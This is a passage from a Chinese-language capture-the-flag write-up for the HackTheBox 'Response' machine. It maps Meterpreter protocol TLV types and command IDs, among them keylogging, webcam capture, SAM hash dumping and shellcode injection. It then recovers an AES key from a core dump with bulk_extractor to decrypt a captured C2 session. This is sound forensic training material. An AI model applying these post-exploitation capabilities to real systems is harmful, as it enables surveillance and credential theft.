tlv_types[(TLV_META_TYPE_STRING  | 1048)] = "TLV_TYPE_LOCAL_DATETIME"
tlv_types[(TLV_META_TYPE_STRING  | 1049)] = "TLV_TYPE_BUILD_TUPLE"
tlv_types[(TLV_META_TYPE_STRING  | 1100)] = "TLV_TYPE_ENV_VARIABLE"
tlv_types[(TLV_META_TYPE_STRING  | 1101)] = "TLV_TYPE_ENV_VALUE"
tlv_types[(TLV_META_TYPE_GROUP   | 1102)] = "TLV_TYPE_ENV_GROUP"
tlv_types[(1 << 0)] = "DELETE_KEY_FLAG_RECURSIVE"
tlv_types[(TLV_META_TYPE_QWORD   | 2000)] = "TLV_TYPE_BASE_ADDRESS"
tlv_types[(TLV_META_TYPE_UINT    | 2001)] = "TLV_TYPE_ALLOCATION_TYPE"
tlv_types[(TLV_META_TYPE_UINT    | 2002)] = "TLV_TYPE_PROTECTION"
tlv_types[(TLV_META_TYPE_UINT    | 2003)] = "TLV_TYPE_PROCESS_PERMS"
tlv_types[(TLV_META_TYPE_RAW     | 2004)] = "TLV_TYPE_PROCESS_MEMORY"
tlv_types[(TLV_META_TYPE_QWORD   | 2005)] = "TLV_TYPE_ALLOC_BASE_ADDRESS"
tlv_types[(TLV_META_TYPE_UINT    | 2006)] = "TLV_TYPE_MEMORY_STATE"
tlv_types[(TLV_META_TYPE_UINT    | 2007)] = "TLV_TYPE_MEMORY_TYPE"
tlv_types[(TLV_META_TYPE_UINT    | 2008)] = "TLV_TYPE_ALLOC_PROTECTION"
tlv_types[(TLV_META_TYPE_UINT    | 2300)] = "TLV_TYPE_PID"
tlv_types[(TLV_META_TYPE_STRING  | 2301)] = "TLV_TYPE_PROCESS_NAME"
tlv_types[(TLV_META_TYPE_STRING  | 2302)] = "TLV_TYPE_PROCESS_PATH"
tlv_types[(TLV_META_TYPE_GROUP   | 2303)] = "TLV_TYPE_PROCESS_GROUP"
tlv_types[(TLV_META_TYPE_UINT    | 2304)] = "TLV_TYPE_PROCESS_FLAGS"
tlv_types[(TLV_META_TYPE_STRING  | 2305)] = "TLV_TYPE_PROCESS_ARGUMENTS"
tlv_types[(TLV_META_TYPE_UINT    | 2306)] = "TLV_TYPE_PROCESS_ARCH"
tlv_types[(TLV_META_TYPE_UINT    | 2307)] = "TLV_TYPE_PARENT_PID"
tlv_types[(TLV_META_TYPE_STRING  | 2309)] = "TLV_TYPE_PROCESS_ARCH_NAME"
tlv_types[(TLV_META_TYPE_STRING  | 2400)] = "TLV_TYPE_IMAGE_FILE"
tlv_types[(TLV_META_TYPE_STRING  | 2401)] = "TLV_TYPE_IMAGE_FILE_PATH"
tlv_types[(TLV_META_TYPE_STRING  | 2402)] = "TLV_TYPE_PROCEDURE_NAME"
tlv_types[(TLV_META_TYPE_QWORD   | 2403)] = "TLV_TYPE_PROCEDURE_ADDRESS"
tlv_types[(TLV_META_TYPE_QWORD   | 2404)] = "TLV_TYPE_IMAGE_BASE"
tlv_types[(TLV_META_TYPE_GROUP   | 2405)] = "TLV_TYPE_IMAGE_GROUP"
tlv_types[(TLV_META_TYPE_STRING  | 2406)] = "TLV_TYPE_IMAGE_NAME"
tlv_types[(TLV_META_TYPE_UINT    | 2500)] = "TLV_TYPE_THREAD_ID"
tlv_types[(TLV_META_TYPE_UINT    | 2502)] = "TLV_TYPE_THREAD_PERMS"
tlv_types[(TLV_META_TYPE_UINT    | 2510)] = "TLV_TYPE_EXIT_CODE"
tlv_types[(TLV_META_TYPE_QWORD   | 2511)] = "TLV_TYPE_ENTRY_POINT"
tlv_types[(TLV_META_TYPE_QWORD   | 2512)] = "TLV_TYPE_ENTRY_PARAMETER"
tlv_types[(TLV_META_TYPE_UINT    | 2513)] = "TLV_TYPE_CREATION_FLAGS"
tlv_types[(TLV_META_TYPE_STRING  | 2540)] = "TLV_TYPE_REGISTER_NAME"
tlv_types[(TLV_META_TYPE_UINT    | 2541)] = "TLV_TYPE_REGISTER_SIZE"
tlv_types[(TLV_META_TYPE_UINT    | 2542)] = "TLV_TYPE_REGISTER_VALUE_32"
tlv_types[(TLV_META_TYPE_GROUP   | 2550)] = "TLV_TYPE_REGISTER"
tlv_types[(TLV_META_TYPE_UINT    | 2600)] = "TLV_TYPE_TERMINAL_ROWS"
tlv_types[(TLV_META_TYPE_UINT    | 2601)] = "TLV_TYPE_TERMINAL_COLUMNS"
tlv_types[(TLV_META_TYPE_STRING   | 2650)] = "TLV_TYPE_MEMORY_SEARCH_NEEDLE"
tlv_types[(TLV_META_TYPE_GROUP    | 2651)] = "TLV_TYPE_MEMORY_SEARCH_RESULTS"
tlv_types[(TLV_META_TYPE_UINT     | 2652)] = "TLV_TYPE_MEMORY_SEARCH_MATCH_LEN"
tlv_types[(TLV_META_TYPE_QWORD    | 2653)] = "TLV_TYPE_MEMORY_SEARCH_START_ADDR"
tlv_types[(TLV_META_TYPE_QWORD    | 2654)] = "TLV_TYPE_MEMORY_SEARCH_SECT_LEN"
tlv_types[(TLV_META_TYPE_QWORD    | 2655)] = "TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR"
tlv_types[(TLV_META_TYPE_STRING   | 2656)] = "TLV_TYPE_MEMORY_SEARCH_MATCH_STR"
tlv_types[(TLV_META_TYPE_UINT    | 3000)] = "TLV_TYPE_IDLE_TIME"
tlv_types[(TLV_META_TYPE_STRING  | 3001)] = "TLV_TYPE_KEYS_DUMP"
tlv_types[(TLV_META_TYPE_STRING  | 3002)] = "TLV_TYPE_DESKTOP"
tlv_types[(TLV_META_TYPE_RAW  | 3002)] = "TLV_TYPE_DESKTOP_SCREENSHOT"
tlv_types[(TLV_META_TYPE_UINT | 3008)] = "TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY"
tlv_types[(TLV_META_TYPE_STRING  | 3014)] = "TLV_TYPE_KEYS_SEND"
tlv_types[(TLV_META_TYPE_UINT    | 3015)] = "TLV_TYPE_MOUSE_ACTION"
tlv_types[(TLV_META_TYPE_UINT    | 3016)] = "TLV_TYPE_MOUSE_X"
tlv_types[(TLV_META_TYPE_UINT    | 3017)] = "TLV_TYPE_MOUSE_Y"
tlv_types[(TLV_META_TYPE_RAW     | 3018)] = "TLV_TYPE_KEYEVENT_SEND"
tlv_types[(TLV_META_TYPE_STRING  | 4000)] = "TLV_TYPE_EVENT_SOURCENAME"
tlv_types[(TLV_META_TYPE_QWORD   | 4001)] = "TLV_TYPE_EVENT_HANDLE"
tlv_types[(TLV_META_TYPE_UINT    | 4002)] = "TLV_TYPE_EVENT_NUMRECORDS"
tlv_types[(TLV_META_TYPE_UINT    | 4003)] = "TLV_TYPE_EVENT_READFLAGS"
tlv_types[(TLV_META_TYPE_UINT    | 4004)] = "TLV_TYPE_EVENT_RECORDOFFSET"
tlv_types[(TLV_META_TYPE_UINT    | 4006)] = "TLV_TYPE_EVENT_RECORDNUMBER"
tlv_types[(TLV_META_TYPE_UINT    | 4007)] = "TLV_TYPE_EVENT_TIMEGENERATED"
tlv_types[(TLV_META_TYPE_UINT    | 4008)] = "TLV_TYPE_EVENT_TIMEWRITTEN"
tlv_types[(TLV_META_TYPE_UINT    | 4009)] = "TLV_TYPE_EVENT_ID"
tlv_types[(TLV_META_TYPE_UINT    | 4010)] = "TLV_TYPE_EVENT_TYPE"
tlv_types[(TLV_META_TYPE_UINT    | 4011)] = "TLV_TYPE_EVENT_CATEGORY"
tlv_types[(TLV_META_TYPE_STRING  | 4012)] = "TLV_TYPE_EVENT_STRING"
tlv_types[(TLV_META_TYPE_RAW     | 4013)] = "TLV_TYPE_EVENT_DATA"
tlv_types[(TLV_META_TYPE_UINT    | 4100)] = "TLV_TYPE_POWER_FLAGS"
tlv_types[(TLV_META_TYPE_UINT    | 4101)] = "TLV_TYPE_POWER_REASON"

cmd_ids = {}

cmd_ids[1] = "CORE_CHANNEL_CLOSE"
cmd_ids[2] = "CORE_CHANNEL_EOF"
cmd_ids[3] = "CORE_CHANNEL_INTERACT"
cmd_ids[4] = "CORE_CHANNEL_OPEN"
cmd_ids[5] = "CORE_CHANNEL_READ"
cmd_ids[6] = "CORE_CHANNEL_SEEK"
cmd_ids[7] = "CORE_CHANNEL_TELL"
cmd_ids[8] = "CORE_CHANNEL_WRITE"
cmd_ids[9] = "CORE_CONSOLE_WRITE"
cmd_ids[10] = "CORE_ENUMEXTCMD"
cmd_ids[11] = "CORE_GET_SESSION_GUID"
cmd_ids[12] = "CORE_LOADLIB"
cmd_ids[13] = "CORE_MACHINE_ID"
cmd_ids[14] = "CORE_MIGRATE"
cmd_ids[15] = "CORE_NATIVE_ARCH"
cmd_ids[16] = "CORE_NEGOTIATE_TLV_ENCRYPTION"
cmd_ids[17] = "CORE_PATCH_URL"
cmd_ids[18] = "CORE_PIVOT_ADD"
cmd_ids[19] = "CORE_PIVOT_REMOVE"
cmd_ids[20] = "CORE_PIVOT_SESSION_DIED"
cmd_ids[21] = "CORE_SET_SESSION_GUID"
cmd_ids[22] = "CORE_SET_UUID"
cmd_ids[23] = "CORE_SHUTDOWN"
cmd_ids[24] = "CORE_TRANSPORT_ADD"
cmd_ids[25] = "CORE_TRANSPORT_CHANGE"
cmd_ids[26] = "CORE_TRANSPORT_GETCERTHASH"
cmd_ids[27] = "CORE_TRANSPORT_LIST"
cmd_ids[28] = "CORE_TRANSPORT_NEXT"
cmd_ids[29] = "CORE_TRANSPORT_PREV"
cmd_ids[30] = "CORE_TRANSPORT_REMOVE"
cmd_ids[31] = "CORE_TRANSPORT_SETCERTHASH"
cmd_ids[32] = "CORE_TRANSPORT_SET_TIMEOUTS"
cmd_ids[33] = "CORE_TRANSPORT_SLEEP"
cmd_ids[1001] = "STDAPI_FS_CHDIR"
cmd_ids[1002] = "STDAPI_FS_CHMOD"
cmd_ids[1003] = "STDAPI_FS_DELETE_DIR"
cmd_ids[1004] = "STDAPI_FS_DELETE_FILE"
cmd_ids[1005] = "STDAPI_FS_FILE_COPY"
cmd_ids[1006] = "STDAPI_FS_FILE_EXPAND_PATH"
cmd_ids[1007] = "STDAPI_FS_FILE_MOVE"
cmd_ids[1008] = "STDAPI_FS_GETWD"
cmd_ids[1009] = "STDAPI_FS_LS"
cmd_ids[1010] = "STDAPI_FS_MD5"
cmd_ids[1011] = "STDAPI_FS_MKDIR"
cmd_ids[1012] = "STDAPI_FS_MOUNT_SHOW"
cmd_ids[1013] = "STDAPI_FS_SEARCH"
cmd_ids[1014] = "STDAPI_FS_SEPARATOR"
cmd_ids[1015] = "STDAPI_FS_SHA1"
cmd_ids[1016] = "STDAPI_FS_STAT"
cmd_ids[1017] = "STDAPI_NET_CONFIG_ADD_ROUTE"
cmd_ids[1018] = "STDAPI_NET_CONFIG_GET_ARP_TABLE"
cmd_ids[1019] = "STDAPI_NET_CONFIG_GET_INTERFACES"
cmd_ids[1020] = "STDAPI_NET_CONFIG_GET_NETSTAT"
cmd_ids[1021] = "STDAPI_NET_CONFIG_GET_PROXY"
cmd_ids[1022] = "STDAPI_NET_CONFIG_GET_ROUTES"
cmd_ids[1023] = "STDAPI_NET_CONFIG_REMOVE_ROUTE"
cmd_ids[1024] = "STDAPI_NET_RESOLVE_HOST"
cmd_ids[1025] = "STDAPI_NET_RESOLVE_HOSTS"
cmd_ids[1026] = "STDAPI_NET_SOCKET_TCP_SHUTDOWN"
cmd_ids[1027] = "STDAPI_NET_TCP_CHANNEL_OPEN"
cmd_ids[1028] = "STDAPI_RAILGUN_API"
cmd_ids[1029] = "STDAPI_RAILGUN_API_MULTI"
cmd_ids[1030] = "STDAPI_RAILGUN_MEMREAD"
cmd_ids[1031] = "STDAPI_RAILGUN_MEMWRITE"
cmd_ids[1032] = "STDAPI_REGISTRY_CHECK_KEY_EXISTS"
cmd_ids[1033] = "STDAPI_REGISTRY_CLOSE_KEY"
cmd_ids[1034] = "STDAPI_REGISTRY_CREATE_KEY"
cmd_ids[1035] = "STDAPI_REGISTRY_DELETE_KEY"
cmd_ids[1036] = "STDAPI_REGISTRY_DELETE_VALUE"
cmd_ids[1037] = "STDAPI_REGISTRY_ENUM_KEY"
cmd_ids[1038] = "STDAPI_REGISTRY_ENUM_KEY_DIRECT"
cmd_ids[1039] = "STDAPI_REGISTRY_ENUM_VALUE"
cmd_ids[1040] = "STDAPI_REGISTRY_ENUM_VALUE_DIRECT"
cmd_ids[1041] = "STDAPI_REGISTRY_LOAD_KEY"
cmd_ids[1042] = "STDAPI_REGISTRY_OPEN_KEY"
cmd_ids[1043] = "STDAPI_REGISTRY_OPEN_REMOTE_KEY"
cmd_ids[1044] = "STDAPI_REGISTRY_QUERY_CLASS"
cmd_ids[1045] = "STDAPI_REGISTRY_QUERY_VALUE"
cmd_ids[1046] = "STDAPI_REGISTRY_QUERY_VALUE_DIRECT"
cmd_ids[1047] = "STDAPI_REGISTRY_SET_VALUE"
cmd_ids[1048] = "STDAPI_REGISTRY_SET_VALUE_DIRECT"
cmd_ids[1049] = "STDAPI_REGISTRY_UNLOAD_KEY"
cmd_ids[1050] = "STDAPI_SYS_CONFIG_DRIVER_LIST"
cmd_ids[1051] = "STDAPI_SYS_CONFIG_DROP_TOKEN"
cmd_ids[1052] = "STDAPI_SYS_CONFIG_GETENV"
cmd_ids[1053] = "STDAPI_SYS_CONFIG_GETPRIVS"
cmd_ids[1054] = "STDAPI_SYS_CONFIG_GETSID"
cmd_ids[1055] = "STDAPI_SYS_CONFIG_GETUID"
cmd_ids[1056] = "STDAPI_SYS_CONFIG_LOCALTIME"
cmd_ids[1057] = "STDAPI_SYS_CONFIG_REV2SELF"
cmd_ids[1058] = "STDAPI_SYS_CONFIG_STEAL_TOKEN"
cmd_ids[1059] = "STDAPI_SYS_CONFIG_SYSINFO"
cmd_ids[1060] = "STDAPI_SYS_EVENTLOG_CLEAR"
cmd_ids[1061] = "STDAPI_SYS_EVENTLOG_CLOSE"
cmd_ids[1062] = "STDAPI_SYS_EVENTLOG_NUMRECORDS"
cmd_ids[1063] = "STDAPI_SYS_EVENTLOG_OLDEST"
cmd_ids[1064] = "STDAPI_SYS_EVENTLOG_OPEN"
cmd_ids[1065] = "STDAPI_SYS_EVENTLOG_READ"
cmd_ids[1066] = "STDAPI_SYS_POWER_EXITWINDOWS"
cmd_ids[1067] = "STDAPI_SYS_PROCESS_ATTACH"
cmd_ids[1068] = "STDAPI_SYS_PROCESS_CLOSE"
cmd_ids[1069] = "STDAPI_SYS_PROCESS_EXECUTE"
cmd_ids[1070] = "STDAPI_SYS_PROCESS_GET_INFO"
cmd_ids[1071] = "STDAPI_SYS_PROCESS_GET_PROCESSES"
cmd_ids[1072] = "STDAPI_SYS_PROCESS_GETPID"
cmd_ids[1073] = "STDAPI_SYS_PROCESS_IMAGE_GET_IMAGES"
cmd_ids[1074] = "STDAPI_SYS_PROCESS_IMAGE_GET_PROC_ADDRESS"
cmd_ids[1075] = "STDAPI_SYS_PROCESS_IMAGE_LOAD"
cmd_ids[1076] = "STDAPI_SYS_PROCESS_IMAGE_UNLOAD"
cmd_ids[1077] = "STDAPI_SYS_PROCESS_KILL"
cmd_ids[1078] = "STDAPI_SYS_PROCESS_MEMORY_ALLOCATE"
cmd_ids[1079] = "STDAPI_SYS_PROCESS_MEMORY_FREE"
cmd_ids[1080] = "STDAPI_SYS_PROCESS_MEMORY_LOCK"
cmd_ids[1081] = "STDAPI_SYS_PROCESS_MEMORY_PROTECT"
cmd_ids[1082] = "STDAPI_SYS_PROCESS_MEMORY_QUERY"
cmd_ids[1083] = "STDAPI_SYS_PROCESS_MEMORY_READ"
cmd_ids[1084] = "STDAPI_SYS_PROCESS_MEMORY_UNLOCK"
cmd_ids[1085] = "STDAPI_SYS_PROCESS_MEMORY_WRITE"
cmd_ids[1086] = "STDAPI_SYS_PROCESS_THREAD_CLOSE"
cmd_ids[1087] = "STDAPI_SYS_PROCESS_THREAD_CREATE"
cmd_ids[1088] = "STDAPI_SYS_PROCESS_THREAD_GET_THREADS"
cmd_ids[1089] = "STDAPI_SYS_PROCESS_THREAD_OPEN"
cmd_ids[1090] = "STDAPI_SYS_PROCESS_THREAD_QUERY_REGS"
cmd_ids[1091] = "STDAPI_SYS_PROCESS_THREAD_RESUME"
cmd_ids[1092] = "STDAPI_SYS_PROCESS_THREAD_SET_REGS"
cmd_ids[1093] = "STDAPI_SYS_PROCESS_THREAD_SUSPEND"
cmd_ids[1094] = "STDAPI_SYS_PROCESS_THREAD_TERMINATE"
cmd_ids[1095] = "STDAPI_SYS_PROCESS_WAIT"
cmd_ids[1096] = "STDAPI_UI_DESKTOP_ENUM"
cmd_ids[1097] = "STDAPI_UI_DESKTOP_GET"
cmd_ids[1098] = "STDAPI_UI_DESKTOP_SCREENSHOT"
cmd_ids[1099] = "STDAPI_UI_DESKTOP_SET"
cmd_ids[1100] = "STDAPI_UI_ENABLE_KEYBOARD"
cmd_ids[1101] = "STDAPI_UI_ENABLE_MOUSE"
cmd_ids[1102] = "STDAPI_UI_GET_IDLE_TIME"
cmd_ids[1103] = "STDAPI_UI_GET_KEYS_UTF8"
cmd_ids[1104] = "STDAPI_UI_SEND_KEYEVENT"
cmd_ids[1105] = "STDAPI_UI_SEND_KEYS"
cmd_ids[1106] = "STDAPI_UI_SEND_MOUSE"
cmd_ids[1107] = "STDAPI_UI_START_KEYSCAN"
cmd_ids[1108] = "STDAPI_UI_STOP_KEYSCAN"
cmd_ids[1109] = "STDAPI_UI_UNLOCK_DESKTOP"
cmd_ids[1110] = "STDAPI_WEBCAM_AUDIO_RECORD"
cmd_ids[1111] = "STDAPI_WEBCAM_GET_FRAME"
cmd_ids[1112] = "STDAPI_WEBCAM_LIST"
cmd_ids[1113] = "STDAPI_WEBCAM_START"
cmd_ids[1114] = "STDAPI_WEBCAM_STOP"
cmd_ids[1115] = "STDAPI_AUDIO_MIC_START"
cmd_ids[1116] = "STDAPI_AUDIO_MIC_STOP"
cmd_ids[1117] = "STDAPI_AUDIO_MIC_LIST"
cmd_ids[1118] = "STDAPI_SYS_PROCESS_SET_TERM_SIZE"
cmd_ids[1119] = "STDAPI_SYS_PROCESS_MEMORY_SEARCH"
cmd_ids[2001] = "PRIV_ELEVATE_GETSYSTEM"
cmd_ids[2002] = "PRIV_FS_BLANK_DIRECTORY_MACE"
cmd_ids[2003] = "PRIV_FS_BLANK_FILE_MACE"
cmd_ids[2004] = "PRIV_FS_GET_FILE_MACE"
cmd_ids[2005] = "PRIV_FS_SET_FILE_MACE"
cmd_ids[2006] = "PRIV_FS_SET_FILE_MACE_FROM_FILE"
cmd_ids[2007] = "PRIV_PASSWD_GET_SAM_HASHES"
cmd_ids[3001] = "EXTAPI_ADSI_DOMAIN_QUERY"
cmd_ids[3002] = "EXTAPI_CLIPBOARD_GET_DATA"
cmd_ids[3003] = "EXTAPI_CLIPBOARD_MONITOR_DUMP"
cmd_ids[3004] = "EXTAPI_CLIPBOARD_MONITOR_PAUSE"
cmd_ids[3005] = "EXTAPI_CLIPBOARD_MONITOR_PURGE"
cmd_ids[3006] = "EXTAPI_CLIPBOARD_MONITOR_RESUME"
cmd_ids[3007] = "EXTAPI_CLIPBOARD_MONITOR_START"
cmd_ids[3008] = "EXTAPI_CLIPBOARD_MONITOR_STOP"
cmd_ids[3009] = "EXTAPI_CLIPBOARD_SET_DATA"
cmd_ids[3010] = "EXTAPI_NTDS_PARSE"
cmd_ids[3011] = "EXTAPI_PAGEANT_SEND_QUERY"
cmd_ids[3012] = "EXTAPI_SERVICE_CONTROL"
cmd_ids[3013] = "EXTAPI_SERVICE_ENUM"
cmd_ids[3014] = "EXTAPI_SERVICE_QUERY"
cmd_ids[3015] = "EXTAPI_WINDOW_ENUM"
cmd_ids[3016] = "EXTAPI_WMI_QUERY"
cmd_ids[4001] = "SNIFFER_CAPTURE_DUMP"
cmd_ids[4002] = "SNIFFER_CAPTURE_DUMP_READ"
cmd_ids[4003] = "SNIFFER_CAPTURE_RELEASE"
cmd_ids[4004] = "SNIFFER_CAPTURE_START"
cmd_ids[4005] = "SNIFFER_CAPTURE_STATS"
cmd_ids[4006] = "SNIFFER_CAPTURE_STOP"
cmd_ids[4007] = "SNIFFER_INTERFACES"
cmd_ids[7001] = "WINPMEM_DUMP_RAM"
cmd_ids[8001] = "KIWI_EXEC_CMD"
cmd_ids[10001] = "UNHOOK_PE"
cmd_ids[11001] = "ESPIA_IMAGE_GET_DEV_SCREEN"
cmd_ids[12001] = "INCOGNITO_ADD_GROUP_USER"
cmd_ids[12002] = "INCOGNITO_ADD_LOCALGROUP_USER"
cmd_ids[12003] = "INCOGNITO_ADD_USER"
cmd_ids[12004] = "INCOGNITO_IMPERSONATE_TOKEN"
cmd_ids[12005] = "INCOGNITO_LIST_TOKENS"
cmd_ids[12006] = "INCOGNITO_SNARF_HASHES"
cmd_ids[13001] = "PYTHON_EXECUTE"
cmd_ids[13002] = "PYTHON_RESET"
cmd_ids[14001] = "POWERSHELL_ASSEMBLY_LOAD"
cmd_ids[14002] = "POWERSHELL_EXECUTE"
cmd_ids[14003] = "POWERSHELL_SESSION_REMOVE"
cmd_ids[14004] = "POWERSHELL_SHELL"
cmd_ids[15001] = "LANATTACKS_ADD_TFTP_FILE"
cmd_ids[15002] = "LANATTACKS_DHCP_LOG"
cmd_ids[15003] = "LANATTACKS_RESET_DHCP"
cmd_ids[15004] = "LANATTACKS_RESET_TFTP"
cmd_ids[15005] = "LANATTACKS_SET_DHCP_OPTION"
cmd_ids[15006] = "LANATTACKS_START_DHCP"
cmd_ids[15007] = "LANATTACKS_START_TFTP"
cmd_ids[15008] = "LANATTACKS_STOP_DHCP"
cmd_ids[15009] = "LANATTACKS_STOP_TFTP"
cmd_ids[16001] = "PEINJECTOR_INJECT_SHELLCODE"
cmd_ids[17001] = "MIMIKATZ_CUSTOM_COMMAND"
```

现在可以导入它并将数值传递给tlv_types并取回字符串。这很简洁，因为它表明客户端做的第一件事是发送一个RSA公钥，然后服务器发送回一个加密的对称密钥:

``` bash
Packet: type=Req  len=363      enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=b'\x00\x00\x00\x10'
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'20785548998507895601'
TLV l=302      t=TLV_TYPE_RSA_PUB_KEY       v=b'0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03'
Packet: type=Resp len=373      enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=b'\x00\x00\x00\x10'
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'20785548998507895601'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=12       t=TLV_TYPE_SYM_KEY_TYPE      v=b'\x00\x00\x00\x01'
TLV l=264      t=TLV_TYPE_ENC_SYM_KEY       v=b'-I\x1d\xc1\xa3YLu\xa9\x99/\x96>\xe9\x1f\x9c\xf9g~\x0f'
```

#### 提取AES密钥

如果无法访问私有RSA密钥，就无法从PCAP中获得未加密的AES密钥。但是，当进程运行时，key将在内存中，这意味着它将在core.auto_update中.

AES256的密钥将是随机32字节。有很多方法可以找到这个key。一种方法是一次一个字节地遍历dump，尝试每个32字节的缓冲区。core dump没有那么大(2.7M)，所以这是可能的。但也有更好的方法。

另一种方法是运行gdb auto_update core.auto_update将core dump加载到GDB中。然后，可以使用一些逆向工程来确定key在内存中的位置，并通过GDB获取它。

最简单的方法是利用AES将密钥转换为所谓的"key schedule" 或 "round keys"。[这篇文章](https://diyinfosec.medium.com/scanning-memory-for-fek-e17ca3db09c9)很好地解释了它(在"Approach 4"部分)。基本上，AES会把32个字节转换成15个16字节的round keys。这些看起来也是随机的。通常，程序只生成一次这些key，然后将它们存储在内存中，并在需要时使用它们，通常，就在内存中原始key的旁边，像这样:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response6.png)

因为从密钥生成round keys的算法是公开的，所以可以扫描内存，对于每个可能的密钥，检查它是否会生成接下来的15*16 = 240字节。如果有匹配，那肯定是AES密钥。

[bulk_extractor](https://github.com/simsong/bulk_extractor)是实现这种搜索的一个工具(以及许多其他工具)。下载最新的版本，运行

``` bash
git clone https://github.com/simsong/bulk_extractor
cd bulk_extractor
git submodule update --init --recursive
./configure; make; sudo make install
```

它被安装在机器上。在coredump上运行它，给它一个输出到的文件夹:

``` bash
bulk_extractor core.auto_update -o bulk_extractor/
```

找到AES key:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/response]
└─# cat bulk_extractor/aes_keys.txt     
# BANNER FILE NOT PROVIDED (-b option)
# BULK_EXTRACTOR-Version: 2.0.1
# Feature-Recorder: aes_keys
# Filename: core.auto_update
# Feature-File-Version: 1.1
1687472 f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5 AES256
2510080 f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5 AES256
2796144 f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5 AES256
2801600 f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5 AES256
```

#### 解析加密的TLVs数据流

把这个key添加到Python脚本的顶部:

``` bash
aes_key = bytes.fromhex('f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5')
```

现在，在解析TLV数据之前解密它:

``` bash
    tlv_data = xor(stream[i+32:i+packet_len+24], xor_key)
    if enc_flag == 1:
        aes_iv = tlv_data[:16]
        cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
        tlv_data = cipher.decrypt(tlv_data[16:])
```

我发现了一些奇怪的边缘情况，在TLV数据的末尾有额外的数据(空值或AES填充?)为了解释这一点，将在顶部添加一些额外的检查:

``` bash
    while j < len(tlv_data):
        l = int.from_bytes(tlv_data[j:j+4], 'big')
        if j + l > len(tlv_data) or l == 0:
            break
```

``` bash
Packet: type=Req  len=363      enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_NEGOTIATE_TLV_ENCRYPT
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'20785548998507895601672178'
TLV l=302      t=TLV_TYPE_RSA_PUB_KEY       v=b'0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82'
Packet: type=Resp len=373      enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_NEGOTIATE_TLV_ENCRYPT
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'20785548998507895601672178'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=12       t=TLV_TYPE_SYM_KEY_TYPE      v=b'\x00\x00\x00\x01'
TLV l=264      t=TLV_TYPE_ENC_SYM_KEY       v=b'-I\x1d\xc1\xa3YLu\xa9\x99/\x96>\xe9\x1f\x9c\xf9g~\x0fH8\xee\xe1y\xf1'
Packet: type=Req  len=88       enc=AES256 sess=00000000-0000-0000-0000-000000000000
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_MACHINE_ID
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'02317692758618192060783778'
Packet: type=Resp len=168      enc=AES256 sess=00000000-0000-0000-0000-000000000000
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_MACHINE_ID
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'02317692758618192060783778'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=54       t=TLV_TYPE_MACHINE_ID        v=b'10.10.13.37:b88b42ad757245'
...[snip]...
```

加密数据包的最后一行显示了MACHINE_ID的类型和IP地址的值。

#### Meterpreter Session 分析

解析后的pcap的完整输出在[msf_output.txt](https://gitlab.com/0xdf/ctfscripts/-/blob/master/htb-response/msf_output.txt)。我将介绍一些重点。

每个请求包似乎都有COMMAND_ID和REQUEST_ID。COMMAND_ID定义了命令的类型(可以在[command_ids.h](https://github.com/rapid7/mettle/blob/52de3c892701e0101746b46ee8b47b76cde8d2d4/mettle/src/command_ids.h)查看)。REQUEST_ID对于请求来说似乎是唯一的。例如:

``` bash
Packet: type=Req  len=88       enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=b'\x00\x00\x04\x1f'
TLV l=41       t=TLV_TYPE_REQUEST_ID        v=b'507543306427'
```

0x41f = 1055 = `COMMAND_ID_STDAPI_SYS_CONFIG_GETUID:=. 响应返回COMMAND_ID和REQUEST_ID(有时带有一些额外的数据?)以及UUID` and the result:

``` bash
Packet: type=Resp len=184      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
TLV l=24       t=TLV_TYPE_UUID              v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
